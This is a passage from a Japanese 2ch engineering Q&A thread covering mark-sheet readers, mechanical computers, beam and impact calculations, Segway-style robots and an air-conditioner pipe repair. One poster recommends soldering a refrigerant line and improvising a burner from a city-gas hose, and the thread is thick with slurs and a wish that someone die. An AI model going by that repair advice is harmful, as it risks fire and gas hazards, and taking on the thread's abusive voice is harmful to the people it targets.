　　　　　　　CCDカメラで画像認識するような莫大なコストをかけるべきか、
　　　　　　　あるいは筆記具をHBに限定して単純な機械とするかの選択です。

現在でも主流の機械は、「光電方式」なのだと思うよ。
一度、「マークシート読み取り機のメーカー」にでも、聞いてみられたらどうでしょう。？？

※（参考）　　フォトリフレクター　＝　反射型フォトセンサー

　
>>507　←　このようなコテハン叩きは、２ちゃんねるの【禁止事項】です。
基地外はどこにでもいます。相手にしないように心がけましょう。

>>483　＞ 解答欄と関係ないところの鉛筆の粉まで認識してしまうかどうかが心配なのです。

まだ心配なら、下の「板」などで、聞いてみられたらどうか。？

大学受験＠2ch掲示板　【センター試験】シャーペンか鉛筆か
http://school4.2ch.net/test/read.cgi/kouri/1102823198/

フォトセンサー方式の読み取り機械なら、他の場所に印があっても、誤動作は起りませんです。

513はセンサーのことしか考えてないようだが
センサーで読み取ったものを判断・判定しているのは
ソフトではないかと、言ってみる。

>>501
技術屋はFortran使いが多いから
x^yよりx**yの方がしっくり来る罠。

>>483

イメージ　ＯＭＲ　←　（オプティカル・マークシート・リーダー、の略）
http://images.google.co.jp/images?q=%EF%BC%AF%EF%BC%AD%EF%BC%B2&num=50&hl=ja&lr=lang_ja&c2coff=1&sa=N&tab=wi
もし、

・　書き込んだマークシート用紙が、「厚手」のものだと、ＯＭＲ　（フォトセンサーによる読み取り方式）で、処理されている。
・　書き込んだマークシート用紙が、「薄手」のものだと、ＯＣＲ　（スキャナーとプログラムによる方式）で、処理されている。

と言うような、可能性が、高いと思われます。

「ＯＣＲ」　＝　（スキャナーと画像処理プラグラムによる読み取り方式）の、
誤作動（間違った判別）の確率に付いては、ソフトウエアーの「質の問題」になるので、
その装置を動かした体験者にしか、判らないと事柄だ思いますよ。

>>516　＞判断・判定しているのはソフト

次から次へと、面白いことを言う人が登場しきて、この「板」は飽きないね。（ｗ

昔の自動機械は、「リレー回路」の組み合わせで動いていた。
そもそも、「電子計算機」の登場や、「ＰＣソフト」と呼ばれるものは、戦後になってからのことである。

だから、単なる「電気機器」の組み合わせのみでも、情報処理や計算などは、可能なのである。
また「電気機器」がなくとも、計算や情報処理と言うものは、ハードウエア（機械）のみ！でも、可能である。

例えば、揺れ動く船上にある「戦艦大和の主砲」を敵に正確に向け、その砲弾を敵艦に命中させる計算を、
君は、『 電子計算機のソフトで行った！ 』とでも、言うのだろうか。そんなもの、当時に存在するわけが無い。

詳しくは知らないし、当時の日本軍の軍事機密は全て焼かれてしまったはずだから、探しても無いとは思うが、
「機械式の計算機」で、全てが計算されていたはずだ。

ちなみに下のページは、米軍の「艦載砲用機械式計算機」らしい。（一部、翻訳ページで示してみた。）

「　Ford Instrument Computer Mark 1　」
http://honyakuinfoseek.infoseek.co.jp/amiweb/browser.jsp?url=http%3A%2F%2Fdcoward.best.vwh.net%2Fanalog%2Fford.htm&display=3&c_id=honyakuinfoseek&langpair=EN%2CJA
http://dcoward.best.vwh.net/analog/index.html#manufact

これに似たような計算機は、「スカイ・スイーパー」と言う高射砲にも、使われていたようで、
高校生のときに、自衛隊の博覧会で見て、『 これは機械式の計算機ではないのか？ 』と、
長い間、疑問に思っていた記憶がある。

「　Skysweeper　」　http://en.wikipedia.org/wiki/Skysweeper

私が初めて入社した当時は、まだ「手回しの機械計算機」と、「計算尺」の時代だった。

「　Mechanical computer　」
http://images.google.co.jp/images?svnum=50&hl=ja&lr=&c2coff=1&q=Mechanical+computer&btnG=Google+%E6%A4%9C%E7%B4%A2

リレーや機械式回路の場合は
カムのレイアウトや配線図がソフトに該当する訳ですが。
ノギスや計算尺の場合は線刻むピッチがソフトだ罠。

　
そう言う考え方だと、「考えの入ったもの」は、何でもソフトだ罠。（ｗ
それを、屁理屈と言うのだ罠。

ホントにワカランの？
インチのノギスとミリのノギスは、ハードが一緒でソフトが違うだけなんだが。

ハードも、ソフト（考え方）も同じで、単に「　縮尺　」が違うだけなんだが。
ホントにワカランの？

>>518

×　⇒　ＯＭＲ　←　（オプティカル・マークシート・リーダー、の略）
○　⇒　optical mark reader　＝　（　オプティカル・マークシート・リーダー　：　ＯＲＭ　）

イメージ　optical mark reader
http://images.google.co.jp/images?q=optical%20mark%20reader&num=50&hl=ja&lr=&c2coff=1&sa=N&tab=wi

×　⇒（　オプティカル・マークシート・リーダー　：　ＯＲＭ　）
○　⇒（　オプティカル・マーク・リーダー　：　ＯＭＲ　）

>>492
はめあいの規格なので相手も関係しくる。
しまりばめ、すきまばめなど。
公差域は最低限機能するであろう最大、最小許容値から決めるのが良い。
厳しい公差だとコストアップになるし、
反対にゆるい公差だと性能、機能にばらつきが出る。
だいたい使用する箇所、組み合わせによってはめあいなどが推奨されている。
ベアリングのシャフトとハウジングなどベアリングのカタログを参照したりなど

>513-515　>518-519　>521　>523-525はTAKE

【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp5.2ch.net/test/read.cgi/tubo/1108880979/

TAKEへ

>例えば、揺れ動く船上にある「戦艦大和の主砲」を敵に正確に向け、その砲弾を敵艦に命中させる計算を、
>君は、『 電子計算機のソフトで行った！ 』とでも、言うのだろうか。そんなもの、当時に存在するわけが無い。
ソフトはありますよ、敵との距離や敵の進行方向・速度と、自分の船の進行速度・方向から
最適な弾道を計算するためのソフトや、砲の角度から弾の飛距離を自動的に計算するソフトが
それぞれの戦艦ごとに機械式計算機の歯車という形で組み込まれていますが。

>計算や情報処理と言うものは、ハードウエア（機械）のみ！でも、可能である。
ハードウエアをどう組み合わせるかと言うのも一種のソフトですが。

ほっとけよ
いい年して機械式制御も知らんのだから。

>>512
回答ありがとうございます。
大変参考になります。

追加の質問になりますが、同様の板バネでバネの断面積と各点間の
距離と、曲げ角度、そして材料の縦弾性係数が判明している場合の
バネ係数を求める場合は、たわみ量の計算と同様に、各点で分断し
単純な片持ち梁として計算し、最後にに重ね合わせる、
ということで良いのでしょうか？

527へ
無知と馬鹿は、相手にするな。

527を含め、みんなTAKEに釣られ過ぎ。
527のリンク先の5辺りに有るように
TAKEは釣りやってるんだから
対応は「無視」が１番
我慢できなきゃ「TAKE指摘」か「釣り指摘」
それ以上かまうとTAKEの思うつぼだぞ。

今時悪魔の証明で自滅する馬鹿ってのが居ることに感動した。

不勉強、無知、論理的思考皆無の決定的証拠。
この馬鹿は自分がどれほど馬鹿か気付いてもないようだが。

この間テストでベクトルの作図があったんだけど、
方向の矢印が見にくいと言われてひどい点を取った。
方向の矢印ってそんな大事なもんなのか？少しぐらい妥協
してくれたっていいじゃないか・・・。

ｶｷｺと表示ﾃｽﾂ
m/s&sup2;　→　m/s²
m&sup3;　→　m³

>531

ＴＡＫＥに対してはその馬鹿さ加減を指摘して
誘導張っておくぐらいでちょうどいいかと。
あまり質問スレで馬鹿されてもうっとうしいし、
質問者が騙されてもかわいそうだし。

>533
どういうベクトル図を書いたかはしらないが
その考えは社会では通用しない。
図面のズレが現場で大きな混乱を巻き起こすことがあるのも事実。
正確な作図は学生の内から心がけているほうがいいと思います。

学校ってのは基本を教えるとこだからな
社会に出ると逆に漫画図面を解読しないといけなかったりもする（ｗ

ＩＤが毎回ことごとく違っていて、それが、かな〜り不自然だから。（笑い

>>489
＞　そんな汎用性のなくなる仕様にしているものはありません。

下のカタログなどからすれば、【 測定ピッチの固定 】されている機種も、ありますよ。

「　ＯＭＲ製品一覧　」
http://www.sekonic.co.jp/seihin/omr/OMR_index.htm

　　　● ＳＲ−４１０（片面読取型）　標準価格￥３５０，７００から
　　　　　２５６枚／分　の搬送スピードにより、他社にない高速処理を実現しました。

　　　● ＳＲ−２３００（片面読取型）　標準価格　￥８１９，０００から
　　　　　１分で約５６枚のデータを読み取り、ＣＳＶまたはＴＸＴファイル出力します。

　　　● ＳＲ−５５００（片面読取タイプ）　標準価格：オープン
　　　　　高速処理　５５００枚／時を実現　　←（（参考：　５５００÷６０＝　９２／分））

　　　● ＨＴ−４１３８　標準価格￥２，８３５，０００から
　　　　　１２５枚／分　の高速処理で 大量処理を実現します。
　　　　　イメージファイリング機能で、画像の検索・提示をスピーディーに行えます。

>>489

「　高速スキャナー　」
http://panasonic.jp/p3/products/old_products/cfm27scan.html

さて、上の「高速スキャナー」のページからすれば、１００万円以下の、高速スキャナーの最高速度は、
（（ 但し、高額になれば、もっと早いものも有りますが ））、【 １１０枚／分（２５０ｄｐｉ）程度 】ですから、
最初の型式例で、その「価格」と「処理枚数」などから推理して言えば、

● ＳＲ−４１０が、【 フォトセンサーを使った方式 】で、
● ＳＲ−２３００より高額のものが、【 スキャナーを使った方式 】ではないか？と、想像されます。

高速のスキャナーが開発されるに従い、フォトセンサーを使ったものから、スキャナーを使った方式に、
次第に、進化して行っている途中！と、言うところではないのでしょうか。

>>504
＞　このような無料の読み取り判定ソフトもあります。
＞　h ttp://www.edu-ctr.pref.kanagawa.jp/markscan/

手持ちのスキャナーとパソコンを使ってやる方法だと、読み込みに早くても、１秒程度は掛かってしまい、
ソフトの処理もまた、１秒ぐらいは掛かるはずですから、専用読み取り機を使った場合に比べると、
かなりな時間が掛かってしまうことになりますね。

もしそのスキャナーが、「フラットベッド」だったりすれば、《　もう死にたいたいぐらい、進まんでしょうな。》（笑

>>536
漫画図面ならまだしも、勝手に脳内記号を入れる輩がいるぞ。
R2を�Aって書いたり、荒さが何故かξだったり。
恐ろしい事に、某大手ﾒｰｶｰからの図面だったりするんだな。

ベクトル矢印書いて計算するって事は
図面自体に相応の正確さが要求されるでそ。
向きや長さが不明瞭だったら誤差もデカくなるだろうし。

評価されないことを自分で正当化してると
誰にも評価されなくなるよ
独り善がり

>>539
＞　１００万円以下の、高速スキャナーの最高速度は、（（ 略 ））、【 １１０枚／分（２５０ｄｐｉ）程度 】

残念ながら、そんなに早くないのでした。

　　高速カラースキャナー KV-S3065CWN
　　http://ctlg.panasonic.jp/product/info.do?pg=04&hb=KV-S3065CWN
　　　　　　・　読取速度６０枚／分（片面）、１１０頁／分（両面）

片面読みでも、結局【 ６０枚／分 】だそうです。しかも「１００万円近く」もする高額な製品でですよ。
ちなみに、「５万円以下で、もっとも高速で人気の有るスキャナー」とは、ＰＦＵの製品らしいですね。

　　カラー イメージ スキャナ ScanSnap
　　http://scansnap.fujitsu.com/jp/index.html
　　http://scansnap.fujitsu.com/jp/products/products.html
　　読取速度　[注2]　（A4縦）　ノーマルモード　カラー150dpi、白黒300dpi: 両面・片面 15枚/分

これだと個人でも買えますが、【 １５枚／分 】と、一気に速度は低下します。
しかし、この（１５０ｄｐｉ）と言う値で、ＯＣＲは無理ですから、白黒モードにする必要が有りますしね。

>>538
＞　h ttp://www.sekonic.co.jp/seihin/omr/OMR_index.htm
＞　　　● ＳＲ−４１０（片面読取型）　標準価格￥３５０，７００から
＞　　　　　２５６枚／分　の搬送スピードにより、他社にない高速処理を実現しました。

と言うようなことからすれば、「３５万円」で、【 ２５６枚／分 】と言う性能は、カードサイズの小ささや、
白黒モードであることなどを考慮に入れても、スキャナー読み取りとは、どう考えても考えられない！、
と言うような結論に、成らざるを得ないのでしょう。

マークシート判別に使うだけだったら、白黒でも解像度低くても十分じゃない。
フォトセンサ式だって色認識なんかしてないし、解像度という概念に換算すれば超低解像度だろ。

必要な要件は高速性と読取精度なんだから、それ以外の仕様をもってスキャナの欠点とするのは如何なものかと。
それとも只のスペックオタクか？

新幹線のモーターってどこが作ってるんですか？

>>545　
＞　スキャナの欠点とするのは
いえいえ。　何もそれらの、「欠点」や「利点」を、ここで論じているわけでは有りませんですよ。

ただ、 『 フォトセンサで読み取るのでは、汎用性が無くなるから、そう言う方式は存在しない！ 』
と、主張される方が居られたようので、その反論として、単に議論が紛糾しただけの話でしょう。

どのような方式であれ、目的にかなった製品が、安く高性能に作れれば、それで良いわけです。

＞　如何なものかと。
なんか、政治家の発言みたいですね。（ｗ）

>>546
第三部　[ 4 ]　もっと静かなモーターを
http://osaka.yomiuri.co.jp/shinkansen/sk41215a.htm

この手の話題は、「鉄道板」などに行って聞けば、詳しく教えてもらえると思うよ。

>>546
モーターに付いては知らないんですが、
モーターの出力は歯車を介して車輪に伝えるわけだが。
加速が切れた時に、歯車の当たりがドライブ側からドリブン側に変わる。
そん時のノイズが気になる！　　とか言う香具師を某学会で見た。
座頭市のような耳を持った香具師だと感心した。
500系だと良く解かるらしいが・・・　　ワシには解からん

>537-540 >544 >547-548はTAKE

TAKEについては以下で

【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp5.2ch.net/test/read.cgi/tubo/1108880979/

>>550
TAKEって便所虫なんとかならないかな？
無視では済まないレベルなんだが。

知識は多少あるんだろうけど、なんかズレてるんだよな〜。

検索馬鹿は持論さえ検索結果で論破してしまいます。（ｗ
正直ゴミばかり貼り付けられて迷惑なんだが。

>546
東洋電機
ttp://www.toyodenki.co.jp/html/kotu_motor.html
とか
富士電機
http://www.fesys.co.jp/sougou/seihin/p16/shinkansen.html
とか
三菱電機
http://osaka.yomiuri.co.jp/shinkansen/sk41215a.htm
とか

>>549
分からない人には鉄ヲタを名乗る資格はありません。

５５０番〜５５５番は、同一人物の可能性が大である。

恥ずかしいよ、なぁ〜〜〜。
一々、ＩＤまで変えて、ね。（ｗ

自分が自作自演ばっかりやってるからさ

どうにかNG登録できないものか
手動であぼーんしてるがスレがあぼーんだらけ

>>544　＞スキャナー読み取りとは、どう考えても考えられない！、

「経験の差」と言うか 、「直観力の差」と言うか、「推理力の差」と言うべきか、この工学板にも、
自分の知っている方式が唯一だ！と思い込む、厨房的香具師の、多いこと、多いこと。。

スキャナーの情報量と、フォトセンサーの情報量とでは、その容量に雲泥の差が有り、
処理速度にも、大きな開きの出てくることは、少し頭を働かせて考えさえすれば判るものを、
それさえ気が付かないとは、「想像力の欠落」と言ったほうが当たってるのかも。

これでは、変な回転扉を設計してしまう香具師と、ほとんど同じレベルだね。クワバラ、クワバラ。

う〜ん・・・・。
何がやりたいんだＴＡＫＥは？
自分のスレを自分で否定して、で結局尻切れトンボで
結論になってないし・・・。

>>556
＞恥ずかしいよ、なぁ〜〜〜。
＞一々、ＩＤまで変えて、ね。（ｗ

今あなたが一番恥ずかしい存在になってますよ。

機械に興味を持った理由は何ですか？

自分でもわかんね
物心ついたときから工具を握ってました

>558
自分の「過去の経験」を唯一と思い込んでいるのがＴＡＫＥ

安いＯＭＲや処理速度の速いＯＭＲに使われているのは
1次元ＣＣＤ(フォトセンサー）でモノクロ処理に対して
一般的なスキャナだとＲＧＢの3色カラー合成になるのでＣＣＤが3枚になって
情報量は3倍になるが、情報処理の速度はどんどん進歩しているのに対して
マークシートに記載される情報量は変化が無いので、処理速度は
情報処理の進化にあわせてどんどん早くなっていく

というかＴＡＫＥが>544で上げているＳＲ-410ですら
・クラス初のマーク濃度判別機能は、筆圧に応じて認識します。またマークの
　消し残しや用紙の汚れもデータから取り除き､正しく読取りします。
ということで、センサーで読み取った後の判定をソフトでしているのだが

まあ、ＴＡＫＥは
ttp://roots55.tripod.com/1syou.htm
でも、読んで基礎から勉強すべきだな

すいません力学のスレで聞くべき事かもしれませんが、
質問させて下さい。

衝撃強度をひずみエネルギー法で考えると、
Ｆ＝√Ｍｋ　×　Ｖ　　
※Ｍ重量、ｋバネ定数、Ｖ衝突時の速度

になり、例えば両持ち梁なら
Ｆ＝√Ｍ・４８ＥＩ/Ｌ^3　×　Ｖ　
※Ｅヤング率　Ｉ断面２次モーメント

になるらしいのですが、
左式と右式の単位系が合わなくないでしょうか？
Ｖはm/sですがsなんて他に何処にも出てきませんよね。
ですとＦの単位がNやkgfにならないと思うのですが・・・

2輪の倒立振子型の機械を作ろうと考えているのですが、
モータに必要なトルクや応答を計算する方法がわかりません。
何か参考になるサイトか論文を紹介していただけませんか？

>>563
学生ﾚﾎﾟｰﾄっぽいからﾋﾝﾄをやろう。

sがVだけだって？
Eの単位はPaだぞ。　PaはN/m2だぞ。　Nは…
後は次元解析なり何なりしてくれ。

>564
ジンジャーですか？

　　　　-＝　∧＿∧
　　-＝≡　（　´∀｀）
　　　　-＝（　つ┯つ
　　 -＝≡/　 / //
　 -＝≡（_＿）/ ）
　　 -＝ (◎)￣））

>>559　
＞　自分のスレを自分で否定して、

やはりと言うか、思ってた通りというか、完全に「理解が反対」になってしまった、例の「読解力不足」の中卒旋盤工か。
どうも、議論の全体の流れが掴めてないらしい。

「 >>558 」を、新たに説明し直すとすれば、
スキャナーの情報量と、フォトセンサーの情報量では、その容量に雲泥の差が有るから、スキャナー方式の方が、
マーク位置などが自由、と言う汎用性があるとしても、スピードに問題があるため採用できない場合もあると言うこと。

そう言うことが、瞬時に判るのが、「経験の差」と言うことなのだな！！！。

>>489
＞＞　　あと、最近のマークシートは、OCRと一緒です
＞＞　　>測りたい部分にのみ、【 焦点を絞って測る方法 】に、してあるはずです。
＞＞　　そんな汎用性のなくなる仕様にしているものはありません。

《 ありません。 》と、断定的に言い切ってしまう香具師に限って、【 単細胞的思考人間 】である場合が、多いもんだ。
今回も、証拠を示されて反論の出来ないところが、如何にもカワイソウ！。

そうです。自分が乗るわけでは無いのですがジンジャー(セグウェイ)です。
制御に関して詳しく書かれている文献や、資料って無いですか？
ただの倒立振子だとちょっと違うような感じがするのですが。

>>566
ﾜﾗﾀ
よくあれだけでセグウェイって解ったな
なんだかすごい簡単そうに作ってる
http://www.tlb.org/scooter.html

>>567
＞あぼ〜ん

今家庭用クーラーを外していて、細い銅管を折ってしまいました。
溶接する技術がありません。家庭用クーラーのような細い銅線を繋げることができる
ジョイントみたいなものって存在しますか？教えてください。お願いします。

銅管を繋げるのは、絶対にろう付けか溶接をしないとだめなんでしょうか？
知ってる人いないのかな・・・

>>571
銅管の接続なら「食込み管継手」というのを使えば簡単だけどね。
ただその太さの商品があるかどうかはわかりません。
銅管の外形は多分ｍｍ単位だと思います。
クーラーに使ってるのだと３ｍｍくらいかな？
８ｍｍとか６ｍｍは使ったことあるんだけどねえ。
あと圧力に関しても気をつけないとね。

>>564
＞　2輪の倒立振子型の機械を作ろうと考えているのですが、

「倒立振子型移動装置」の研究をやっている大学は、日本でも、多い見たいですよ。
って、同様の質問は、極最近にもあったような。。。　（また例の釣り？）

「　倒立振子型 移動　」
http://www.google.co.jp/search?num=50&hl=ja&c2coff=1&q=%E5%80%92%E7%AB%8B%E6%8C%AF%E5%AD%90%E5%9E%8B+%E7%A7%BB%E5%8B%95&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

イメージ　「　倒立振子　」
http://images.google.co.jp/images?svnum=50&hl=ja&lr=&c2coff=1&q=%E5%80%92%E7%AB%8B%E6%8C%AF%E5%AD%90&btnG=Google+%E6%A4%9C%E7%B4%A2

上のようなところから、一度、調べてみましょう。

>556 >558 >567 >573はTAKE

TAKEについては以下で

【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp5.2ch.net/test/read.cgi/tubo/1108880979/

>>571
「半田付け」でよろしいあるよ。

但〜し、銅のパイプを突合せて接合したとしても、そのままでは強度が出ないので、
例えば、銅の板などを曲げ、その管の外径に合った、「パイプ状の部品」を、作り、
パイプ繋ぎ目の外側にそれを差し込んでから、その隙間に、半田を流し込むこと。

そのほか、銅の表面は良く磨くことと、大きさにもよるが、銅は熱が逃げ易いので、
バーナーや電熱などであぶりながら、行う必要があるかも。

ハンドバーナーが無いときは、都市ガスのホースの先に、金属製のノズルを付け、
それに火をつけ、代用することも可能ですね。

>>574　←　皆さん良くご存知の、「基地外中卒旋盤工」あるよ。

ウォームギヤの左ねじれは特注になることが多いのはナゼですか？

「ウオームギアＢＯＸ」として買えば、最初から、両方用意してあるのでは。。？

>575はＴＡＫＥです

>ハンドバーナーが無いときは、都市ガスのホースの先に、金属製のノズルを付け、
．それに火をつけ、代用することも可能ですね。

お前みたいな能無し　無知　馬鹿は死ね　酸素の無駄だ。
リアルで死んでくれ　、「基地外中卒旋盤工」
それがどんなに危険な行為かわかっているのか　能無し
ぜひ自分でそれをして、焼け死んでくれ。

大ガスに通報しておこうか、馬鹿野郎が一匹いますと

>>568
＞　ただの倒立振子だとちょっと違うような感じ

工学板では、具体的に「どう違うのか」を書かない限り、議論とはなりません。

>>578　←　皆さん良くご存知の、誹謗中傷しか出来ない、「基地外中卒旋盤工」あるよ。

おやくそく。
http://www.2ch.net/before.html

　　頭のおかしな人には気をつけましょう

　　利用者が増えるに従って、頭のおかしな人もそれなりに出没するように
　　なって来ています。頭のおかしな人に関わるとなにかと面倒なことが起こる
　　可能性があるので、注意しましょう。

　　頭のおかしな人の判定基準

　・「みんなの意見」「他の人もそう思ってる」など、自分の意見なのに他人も
　　そう思ってると力説する人
　　他人が自分とは違うという事実が受け入れられない人です。自分の意見が通ら
　　ないとコピペや荒らしなど無茶をし始めるので見かけたら放置してください。

　・根拠もなく、他人を卑下したり、差別したりする人、自分で自分を褒める人
　　他人を卑下することで自分を慰めようとする人です。実生活で他人に褒めて
　　もらう機会がないがプライドだけは高いとか、匿名の掲示板しか話し相手の
　　いない人です。可哀想なので放置してください。

まあどうでもいいことだが、　>>558　>>567　>>575　>>579　などは、面白い
ように上記に適合するな。特に後者の傾向が強い。可哀想というより哀れだが、
放置してあげたほうが本人のためにもなるのでは。

>>570　
＞　今家庭用クーラーを外していて、細い銅管を折ってしまいました。

中に入っているガスが、どうなっているのかの方が、問題なのでは。

>>580　←　皆さん良くご存知の、関係ない話しか出来ない、「基地外中卒旋盤工」あるよ。

ＴＡＫＥへ
自分の>575でのレスが、一体どうゆう内容なのか
理解しているか？
誰かがそれを実行したとき、何が起こるのかわかっているのか？
安全に使えるガスバーナーが唯の鉄の筒だと思っているのか？
まさしく、基地外　お前を中卒旋盤工さんと比較するのは
旋盤工さんに対して失礼になる。

>564
すぐに思いつくのは、これくらいですね
ttp://cosmos.c.oka-pu.ac.jp/jActivity/Thesises/2001/mr2001henmi.pdf

実際は2個のモーターで前後移動だけでなく
左右の旋回を処理する必要があるので
簡単には行かないと思われます。
頑張ってください。

TAKEはこういう場でしか自分を表現できないニートさん。
きっと世間から除外されたんだろな。可哀想に・・・。

>>565さん。
ヒントありがとうございます。
ようやく納得する事が出来ました。
大変感謝しております。

出来ましたら、もう１つ教えて下さい。
式をいじっていたら気づいたのですが、

曲げ応力が
σ＝Ｍｂ/Z＝ＦＬ/4
※Ｍｂは曲げモーメント Zは断面係数

になると思うのですが、
Ｆ＝√Ｍ・４８ＥＩ/Ｌ^3　×　Ｖ
を代入すると、

σ＝√Ｍ・３ＥＩ/Ｌ　×　Ｖ　÷　Ｚ
になります。

という事は衝撃応力の場合、
梁の全長Ｌが長いほうが有利（応力が小さくなる）という事になるのでしょうか？

質問です。
自動車力学についてなのですが
走行中の自動車の位置xに横方向にステップ的に力が加わった時
車のヨーレイトが0に収束する点xの名称を教えて下さい。

おまいら釣られるのも程々にしてくれ

わざと間違った答えと的外れな解答で回りからの指摘を誘い
そこから更に頓珍漢な書き込みでレスを誘う
そうやってスレを荒らしてる手口にまだ気付かんのか？

既に死んでるｽﾚで遊んでるだけｼﾞｬﾏｲｶ。

オービタル溶接機、パイプ溶接機を購入できるルートを教えていただきたいのですが。

レスありがとう。半田付けができるということなんですが本当ですか？
半田付けぐらいなら自分で出来そうです。
ガスは室外機に入ってます。ジョイントを買ってきてその間に流し込めば大丈夫なんでしょうか？
ジョイントは半田が流れるように大き目のサイズを買ったほうがいいでしょうか？

>５９０
管内にハンダかすなどが入れば、エアコンのトラブルの原因になるので
どこを壊したかわからんが、その部材を取り寄せて交換したほうがいい
ここよりも、こっちで質問しなおしたほうがいいとおもう。

エアコン配管施工・空調工具についての総合スレ
http://that3.2ch.net/test/read.cgi/diy/1091209674/

釣り質問は本当に嫌だ。

修理に関する質問は、ＤＩＹ板に行って、聞きましょう。

>>570
細い方の管は外径6.35では？（俗にインチ系で言う２分）
このサイズの銅管用クイ込継ぎ手は工業用で使うので近くの工業用品店にあるのでは？
ミリ系の物は必ずあるだろうが、まぁ聞いてみたら。
はんだ接続でも良いけど異物を入れるとコンプレッサがポン
接続後は真空引きしてからガスチャージは言うまでもないですね

>>570
普通、はんだ付けはしないよ。
>>594さんの言うように、くい込み管継手がある。ミリ系パイプなら、ホームセンターで
入手できると思う。
http://www.ihara-sc.co.jp/pdf/b.pdf

ごめん、リンク先が重いね。
http://www.ihara-sc.co.jp/connection/index.html
ここの銅管用くいこみ継手

C型プレスのJIS規格やJIS精度は何処で何で調べられるでしょうか？

ＴＡＫＥ様の言われる様に半田付けは出来ましたが
半田付けの完成検査はどの様にすれば良いですか？もし洩れがあると
ガスが抜けるのでＴＡＫＥ様ご指導宜しくお願いします。
また半田カスが配管内に残っているか否かの判断はどの様にすれば
宜しいでしょうか？

レスありがとう。
エアコン配管施工・空調工具についての総合スレ
があったんですね・・・すいませんでした。
その食い込み継手は簡単に手に入らないと思ってました・・
こっちのスレの人に詳しくきいてみます。
ありがとう

食い込み接ぎ手も良いけど
その銅パイプの切断個所の形状が問題だよ。
斜めに切れていたら食い込み接ぎ手は効かないので
ヤスリ等で修正して下さい。削りカスが配管内に入らないように
充分注意してね。
それよりもメーカーに部品注文が最良と思いますよ。

>575 >577 >579 >581 >592-593はTAKE

TAKEについては以下で

【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp5.2ch.net/test/read.cgi/tubo/1108880979/

そういえば、銅パイプにくい込み継手を使っても、銅パイプが柔らかいので
固定力が弱くて不具合発生しました。
ＮＴＮ製品だったと思うけど、パイプの先端に挿入する真鍮製ブッシュみたいなものを使った
記憶がある。
だけど、現在ＮＴＮは継手作ってないんですね。ん〜わからん。

ttp://axts10.web.infoseek.co.jp/observe_system.gif
↑こういう観察系を組みたいのですが、このようにレーザー光を横から
入射させて、レーザー光軸と観察光軸とを一致させられる顕微鏡を
取り扱っているメーカーをご存知でないでしょうか？
また、こういう顕微鏡の呼称があるのでしたら、それをもとに検索しようと思うので
教えてください。

>597
規格番号や規格名称がわかっているなら
ここでの検索がいいかと
http://www.jisc.go.jp/app/pager?id=127049
ここで、規格名称からプレスを検索するのが早いかと

>>604
サンクス！調べたけど載ってなかった・・・でもここ役にたつね、これからも
使わせてもらいます。

C型液圧プレスの動的精度について調べたかったんだけど載ってない。
30トン位のC型液圧プレスの加圧時の口の開きがJISで決められてるん
じゃないかと思ったんだけど無いのかな？
会社のプレスの開きがちょっと大きい気がするんで、メーカーと話をする
まえに調べたかったんですが。

　
>>601　←　皆さん良くご存知の、２ちゃんねるの規則違反ばかりやってる、「基地外中卒旋盤工」あるよ。

>>599
>>600　＞メーカーに部品注文が最良と思いますよ。

素直に修理依頼するのが最良でしょう。（ｗ

>６０６-７はＴＡＫＥ
TAKEについては以下で

【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp5.2ch.net/test/read.cgi/tubo/1108880979/

質問・閲覧者の方へ
TAKEとは工学系の板に出没する、ハンドル不定の荒らしの総称です。
無意味な投稿、煽り、中傷でスレを荒らすので、多くの 人が迷惑しています。
特に質問スレで誤回答を行い質問者を惑わし、間違いの指摘者に対して
悪質な中傷を行い、ハンドルを変えて自作自演をするので
別スレを設置して、間違い指摘以外のレスを誘導しています。

>603
>光軸と観察光軸とを一致
手法としては同軸落射照明と呼ばれてます。
ttp://www.cognex.co.jp/vision/about/optics7.asp

お探しのものはこのような物かと、参考にしてください
ttp://www.sigma-cybertech.sytes.net/sct_opt/eigyou/D/03/03.htm

どちらかっていうと建築系の話かもしれませんが、
片持ちの　canti　キャンチ、カンチって何語でしょうか？

　
>>608 ←は、無意味な投稿、煽り、中傷でスレを荒らすので、多くの 人が迷惑しています。
今回も「マークシートリーダー」の話題で、間違った解答をしていましたよね。

特に質問スレで誤回答を行い質問者を惑わし、間違いの指摘者に対して
悪質な中傷を行い、ハンドルを変えて自作自演をするので
別スレを設置したりして、平気で、他人の誹謗中傷ばかりしている、変な人です。

>>610
Ｇｏｏ 辞書　カンティレバー [cantilever]
http://dictionary.goo.ne.jp/search.php?MT=%A5%AB%A5%F3%A5%C6%A5%A3&kind=jn&mode=0

　　〔カンチレバーとも〕
　　(1)建築で、「片持(かたも)ち梁(ばり)」に同じ。
　　(2)レコード針の柄の部分。針先の振動をカートリッジの発電部に伝えるもの。

>>610
ＡＬＣ　「cantilever」
http://www2.alc.co.jp/ejr/index.php?word_in=cantilever&word_in2=%82%A9%82%AB%82%AD%82%AF%82%B1&word_in3=PVawEWi72JXCKoa0Je

・　cantilever
　　【名】 片持ち梁｛かたもちばり｝
　　【自動】 （片持ち梁のように）一端｛いったん｝が飛び出す
　　【他動】 〜を片持ち梁のように作る

（以下大幅略）

612、613さんありがとうございました。
cantilever　で一つの単語だったんですね。

その昔は感知レバーだと思っていた時もありました、、、。
これで積年のなぞがはれました。

>>614

「レバー」と言う言葉があるぐらいだから、単独で、その前の「カンチ」と言う英単語があるはずだと、
調べて見たりしても、意味のある単語としての言葉は、単独では見つからない。

だとすると、案外「カンティレバー」が略されて、「レバー」と言う言葉になったものかも知れない。

良く知られた「スペースＡＬＣ」は、１３０万語？とかと言ってるが、本気で調べたい場合には、やはり、
本場の【 英英辞典 】に頼るしかないだろう？、と言うことで、その「ＣＡＮＴＩ」で、一度検索してみよう。

「Webster's Ninth New Collegiate Dictionary」
http://dict.sztaki.hu/webster/webster.php?result_target=_self&D=1&S=0&W=canti&P=1&L=1&O=1
http://dir.kotoba.jp/ddcat.cgi?pwd=5&k=e2e&w=2&mL=2&DC=100&LC=100&fsz=2

　　Word: 「canti」

　　canticle　　Canticle of Canticles　　Canticles　　cantigny　　cantilena
　　cantilever　　cantillate　　cantillated　　cantillating　　cantillation
　　cantina　　canting

などと、色々と見つかるわけだが、「カンティレバー」に類似する言葉は、他に皆無であることが判る。

博士、何が言いたいのかサッパリ分りましぇん

